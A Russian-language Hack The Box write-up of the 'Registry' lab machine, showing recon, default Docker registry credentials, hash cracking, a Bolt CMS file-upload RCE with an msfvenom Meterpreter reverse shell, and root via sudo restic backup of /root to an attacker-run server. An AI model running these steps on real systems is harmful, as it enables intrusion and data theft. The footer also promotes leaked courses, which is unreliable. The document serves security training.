Hack The Box. Прохождение Registry. Docker, RCE в CMS Bolt и Restic

в 8:55, , рубрики: ctf, docker, HTB, pentesting, ralf_rt, red team, restic, информационная безопасность
image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье повозимся с docker regisrty, эксплуатируем RCE в CMS Bolt, а повышаем привилегии с помощью программы для резервного копирования Restic.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.159, который я добавляю в /etc/hosts.

10.10.10.159    registry.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A registry.htb -p22,80,443

image

На хосте открыто 3 порта, при этом сертификат (443 порт) предназначен для docker.registry.htb. Добавим его тоже в /etc/hosts.
10.10.10.159    docker.registry.htb

При побращении к registry.htb нас встречает приглашение nginx, а к docker.registry.htb — пустая страница.

Давайте переберем директории с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

image

Backup.php нам ничего не дает, в bolt расположен сайт с CMS Bolt, а в install лежит какой-то файл, скачаем его.

wget http://registry.htb/install/ -O ind

И узнаем, что это за файл.

image

Мы можем сразу прочитать “gzip compressed data”.

image

Таким образом получаем сертификат, и ссылки на справочную документацию по docker.
В случае с другим доменом, добавим параметр -k, чтобы пропустить проверку сертификата.

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

image

Перейдем теперь в директорию v2, и нас встречает аутентификация.

image

И самая простая комбинация admin:admin дает нам доступ. На хосте работает docker regisrty, поэтому, как следует из следующего пояснения, посмотрим его репозитории по следующему адресу: docker.registry.htb/v2/_catalog.

image

И мы находим один репозиторий.

image

Давайте установим docker и обратимся к документации по установке сертификата.

image

Перейдем в директорию /etc/docker и добавим сертификат из архива.

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

image

Теперь залогинимся в docker.

image

Теперь загрузим образ.

sudo docker pull docker.registry.htb:443/bolt-image:latest

image

И запустим.

sudo docker run -it docker.registry.htb:443/bolt-image:latest

И первым делом смотрим на SSH. Благо присутствует ключ, а также конфиг, из которого становится ясно, что наш пользователь — bolt.

image

Но вот дело в том, что ключ зашифрован. Это значит что при подключении у нас спросят пароль. Результат приносит поиск в файлах строки “pass”.

grep -i -r "pass" ./etc/

image

В данном скрипте спрашивается пароль для расшифровывания ключа. И в нем же дается ответ.

image

Подключимся по ssh с нашим ключом.

image

На хосте был файл backup.php, давайте глянем, что в нем.

image

Так используется sudo, и видимо без пароля. Но для bolt требуется пароль.

image

Это значит, что нам нужно получить пользователя службы. Так как используется CMS Bolt, мы можем получить доступ к sqlite базе данных. Скачаем ее.

scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./

Начнем работу с базой.

sqlite3 bolt.db

Посмотрим таблицы.

image

И получим записи из таблицы bolt_users.

image

Таким образом, мы имеем хеш админа. Переберем его с помощью JTR.

image

Теперь авторизуемся в Bolt как admin. И наблюдаем версию 3.6.4.

image

Для этой версии есть эксплоиты.

image

Уязвимость заключается в том, что мы можем добавить в конфиг нужное нам расширение файла для загрузки, а потом загрузить файл. Давайте сделаем php файл с нагрузкой (скажу наперед, что просто бэкконнект шел прокинуть не получается поэтому был проброшен 4321 порт: ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321).

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d 'n' > r.php && xclip -selection clipboard -o >> r.php

И запустим листенер.

image

Пройдем в Configuration -> Main Configuration и добавим расширение php для возможности загрузки файла.

image

Далее пройдем в File Management -> Upload files и добавим файл. После обращения к нему, увидим подключение.

image

Запустим bash оболочку, также наблюдаем, что мы работаем от имени пользователя службы.

image

Проверим sudo, наблюдаем, что команду из backup.php можно выполнять под sudo без пароля.

image

Restic — это написанная на Golang программа для резервного копирования. Так как мы можем сделать резервную копию под sudo, мы можем скопировать всю директорию root. Для начала прокинем 8000 порт.

ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000

Установим и запустим rest-server (на 8000 посту без аутентификации).

image

Давайте подключимся и инициализируем резервную копию (restr1).

image

А теперь создадим резервную копию директории root.

image

Резервная копия сохранена на локальной машине. Посмотрим все сохраненные файлы. Находим ключ SSH.

restic -r /tmp/restic/restr1/ ls latest

image

Восстановим его.

image

Подключимся.

image

У нас полный доступ в системе.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js